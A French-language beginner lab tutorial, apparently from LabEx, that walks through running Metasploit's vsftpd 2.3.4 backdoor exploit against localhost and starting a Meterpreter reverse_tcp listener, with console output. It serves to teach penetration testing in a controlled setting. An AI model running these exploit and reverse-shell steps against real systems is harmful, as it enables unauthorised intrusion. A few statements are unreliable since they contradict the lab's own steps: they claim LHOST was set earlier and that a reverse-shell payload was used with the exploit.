Exploitation avec Kali et Metasploit

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez les bases des tests d'intrusion en utilisant Kali Linux dans un environnement contrôlé sur la machine virtuelle LabEx. L'objectif est d'exploiter la puissance du framework Metasploit pour identifier des vulnérabilités, configurer des payloads, exécuter des exploits et interagir avec des systèmes compromis via une session Meterpreter. Conçu pour les débutants, ce laboratoire vous guide étape par étape à travers des techniques de cybersécurité essentielles de manière sûre et structurée. Lorsque vous ouvrez le terminal, vous serez automatiquement connecté au shell du conteneur Kali Linux, prêt à commencer la pratique sans avoir besoin de démarrer ou d'entrer manuellement dans le conteneur.

Démarrage du framework Metasploit

Dans cette première étape, vous allez lancer le framework Metasploit, un outil clé pour les tests d'intrusion sous Kali Linux. Cette étape est essentielle car elle prépare l'environnement pour identifier et exploiter les vulnérabilités lors des étapes suivantes.

Lorsque vous ouvrez le terminal dans la machine virtuelle LabEx, vous êtes automatiquement connecté au shell du conteneur Kali Linux. Il n'est pas nécessaire de démarrer manuellement le conteneur ou d'entrer dans le shell ; l'environnement est déjà configuré pour vous.

Avant d'utiliser Metasploit, vous devez vous assurer qu'il est installé dans le conteneur Kali Linux. Tout d'abord, mettez à jour la liste des paquets en tapant la commande suivante dans le terminal et en appuyant sur Enter :

apt update

Ensuite, installez le framework Metasploit. Cette installation peut prendre quelques minutes, veuillez donc patienter jusqu'à ce qu'elle soit terminée.

apt install -y metasploit-framework

Une fois installé, démarrez la console Metasploit en tapant la commande suivante et en appuyant sur Enter :

msfconsole

La première fois que vous exécutez cette commande, l'initialisation peut prendre un moment car elle configure la base de données et charge les modules. Vous verrez une bannière en art ASCII et une invite similaire à celle-ci lorsque Metasploit démarre :

Metasploit Framework
...
msf6 >

L'invite msf6 > indique que vous êtes maintenant dans la console Metasploit, prêt à interagir avec le framework. Ne quittez pas la console, car vous l'utiliserez à l'étape suivante pour rechercher et sélectionner un exploit.

Recherche et sélection d'un exploit

Maintenant que vous avez démarré le framework Metasploit, l'étape suivante consiste à rechercher et sélectionner un exploit. Un exploit est un morceau de code qui tire parti d'une vulnérabilité logicielle pour provoquer un comportement non intentionnel, comme l'obtention d'un accès non autorisé.

Puisque vous êtes déjà dans la console Metasploit (avec l'invite msf6 >), recherchons un exploit lié au protocole FTP (File Transfer Protocol), un service courant qui peut présenter des vulnérabilités. Tapez la commande suivante et appuyez sur Enter :

search ftp

Cette commande liste les exploits et les modules auxiliaires liés au FTP. Le résultat affichera un tableau des modules correspondants.

Matching Modules
================

   ##  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                              normal     No     FTP Version Scanner
   2  auxiliary/scanner/ftp/anonymous                                normal     No     FTP Anonymous Access Scanner
...

Pour ce laboratoire, nous utiliserons l'exploit vsftpd_234_backdoor. Pour le sélectionner, utilisez la commande use suivie du nom de l'exploit.

use exploit/unix/ftp/vsftpd_234_backdoor

Après avoir sélectionné l'exploit, votre invite changera pour inclure le nom de l'exploit, indiquant qu'il s'agit désormais du module actif.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Pour afficher des informations détaillées sur l'exploit sélectionné, y compris ses options et ses prérequis, tapez la commande info.

info

Le résultat fournit des détails tels que la plateforme, l'architecture et les cibles disponibles.

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Vous avez maintenant sélectionné un exploit avec succès. À l'étape suivante, vous configurerez un payload pour cet exploit.

Remarque : Labby ne peut pas obtenir les enregistrements d'opération dans le shell msf, les étapes suivantes ne seront pas vérifiées.

Configuration de l'exploit et du payload

L'exploit étant sélectionné, vous devez maintenant configurer ses options et définir un payload. Un payload est le code qui s'exécutera sur le système cible une fois l'exploit réussi. Pour ce laboratoire, vous configurerez un payload de shell de commande interactif qui vous permet d'exécuter des commandes sur le système cible.

Important : Avant de définir un payload, il est crucial de vérifier quels payloads sont compatibles avec l'exploit sélectionné. Utilisez la commande suivante pour voir tous les payloads compatibles :

show payloads

Cela affichera une liste des payloads qui fonctionnent avec l'exploit vsftpd_234_backdoor. Vous ne devriez voir qu'un seul payload compatible : cmd/unix/interact.

Tout d'abord, définissez le payload. Nous utiliserons le shell de commande interactif compatible avec cet exploit. Le nom du payload cmd/unix/interact suit une structure spécifique : <architecture>/<plateforme>/<type>. Ici, cmd indique une architecture de shell de commande, unix spécifie la plateforme cible, et interact signifie qu'il fournira une session interactive.

set payload cmd/unix/interact

Vous verrez un message de confirmation.

payload => cmd/unix/interact

Ensuite, vous devez configurer les options de l'exploit. L'option RHOST (Remote Host) spécifie l'adresse IP de la machine cible. Pour cette simulation, nous la définirons sur 127.0.0.1.

set RHOST 127.0.0.1

Remarque importante : Contrairement aux payloads de type reverse shell, le payload cmd/unix/interact ne nécessite pas de paramètres LHOST ou LPORT. Ce payload établit une session de commande interactive directement avec la cible.

Pour vérifier tous les paramètres, utilisez la commande show options.

show options

Cela affiche un tableau des options pour l'exploit. Vérifiez que RHOST est correctement défini.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

Votre exploit et votre payload sont maintenant configurés et prêts à être exécutés à l'étape suivante.

Exécution de l'exploit

Après avoir configuré l'exploit et le payload, vous êtes maintenant prêt à l'exécuter. La commande exploit demande à Metasploit de lancer l'attaque contre la cible spécifiée (RHOST).

Dans votre console Metasploit, tapez simplement la commande suivante et appuyez sur Enter :

exploit

Metasploit tentera d'exécuter l'exploit. Comme il n'y a pas de service VSFTPD réellement vulnérable en cours d'exécution sur 127.0.0.1 dans cet environnement de laboratoire, l'exploit échouera. C'est attendu et cela démontre le processus de lancement d'une attaque.

Le résultat montrera que Metasploit a tenté de se connecter au service FTP cible mais a échoué car le service n'est pas en cours d'exécution :

[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.

Remarque : Avec le payload cmd/unix/interact, vous ne verriez pas de listener de reverse shell démarrer. Au lieu de cela, ce payload tenterait d'établir une session de commande interactive directe avec le service FTP cible s'il était vulnérable et accessible.

Le message Exploit completed, but no session was created confirme l'échec. Dans un scénario réussi avec un service VSFTPD vulnérable, cela établirait une session de shell de commande interactive, vous permettant d'exécuter des commandes directement sur le système cible. Cette étape vous enseigne la commande fondamentale pour lancer un exploit, qui est une partie essentielle du flux de travail des tests d'intrusion.

Configuration d'un listener Meterpreter

Dans cette dernière étape, vous apprendrez à configurer un listener pour un payload Meterpreter. Meterpreter est un payload avancé et riche en fonctionnalités qui fournit un shell interactif sur le système cible. Au lieu de lancer un exploit, vous utiliserez le module exploit/multi/handler pour écouter les connexions entrantes. Ceci est utile lorsqu'un exploit est délivré par d'autres moyens (par exemple, un fichier malveillant) et que vous devez intercepter la connexion inverse.

Tout d'abord, passez au module multi/handler.

use exploit/multi/handler

Votre invite changera pour refléter le nouveau module.

msf6 exploit(multi/handler) >

Ensuite, définissez un payload Meterpreter. Nous en utiliserons un conçu pour les systèmes Linux. Le nom du payload linux/x86/meterpreter/reverse_tcp suit une structure logique : <plateforme>/<architecture>/<type>/<protocole>. Il spécifie une plateforme Linux, une architecture x86, un type de payload Meterpreter et un protocole de connexion reverse TCP.

set payload linux/x86/meterpreter/reverse_tcp

Maintenant, configurez les options du listener, LHOST et LPORT, exactement comme vous l'avez fait précédemment.

set LHOST 127.0.0.1

Remarque : Vous pourriez voir un message d'avertissement concernant la liaison à une adresse de bouclage (loopback). C'est normal lors de l'utilisation de localhost (127.0.0.1) et peut être ignoré sans risque pour ce laboratoire.

set LPORT 4444

Enfin, démarrez le listener en utilisant la commande exploit.

exploit

Metasploit démarrera un listener sur l'adresse IP et le port spécifiés, en attendant qu'une session Meterpreter se connecte.

[*] Started reverse TCP handler on 127.0.0.1:4444

La console restera active, en attente d'une connexion. Dans un scénario réel, si une machine cible exécutait le payload Meterpreter correspondant, une session serait établie ici. Comme aucune cible ne se connectera dans ce laboratoire, vous pouvez arrêter le listener en appuyant sur Ctrl + C.

Pour quitter la console Metasploit, tapez exit et appuyez sur Enter.

Résumé

Dans ce laboratoire, vous avez appris les étapes fondamentales des tests d'intrusion en utilisant Kali Linux et le framework Metasploit. Vous avez commencé par lancer Metasploit, recherché et sélectionné un exploit, configuré à la fois l'exploit et un payload de type reverse shell, et exécuté l'attaque dans un environnement simulé. Vous avez également appris à configurer un listener autonome pour un payload Meterpreter avancé. Ces étapes fournissent une introduction pratique au flux de travail principal consistant à identifier les vulnérabilités, préparer les payloads et comprendre le processus d'exploitation. En suivant cette approche structurée, vous avez acquis une expérience pratique avec des outils et des techniques de cybersécurité essentiels.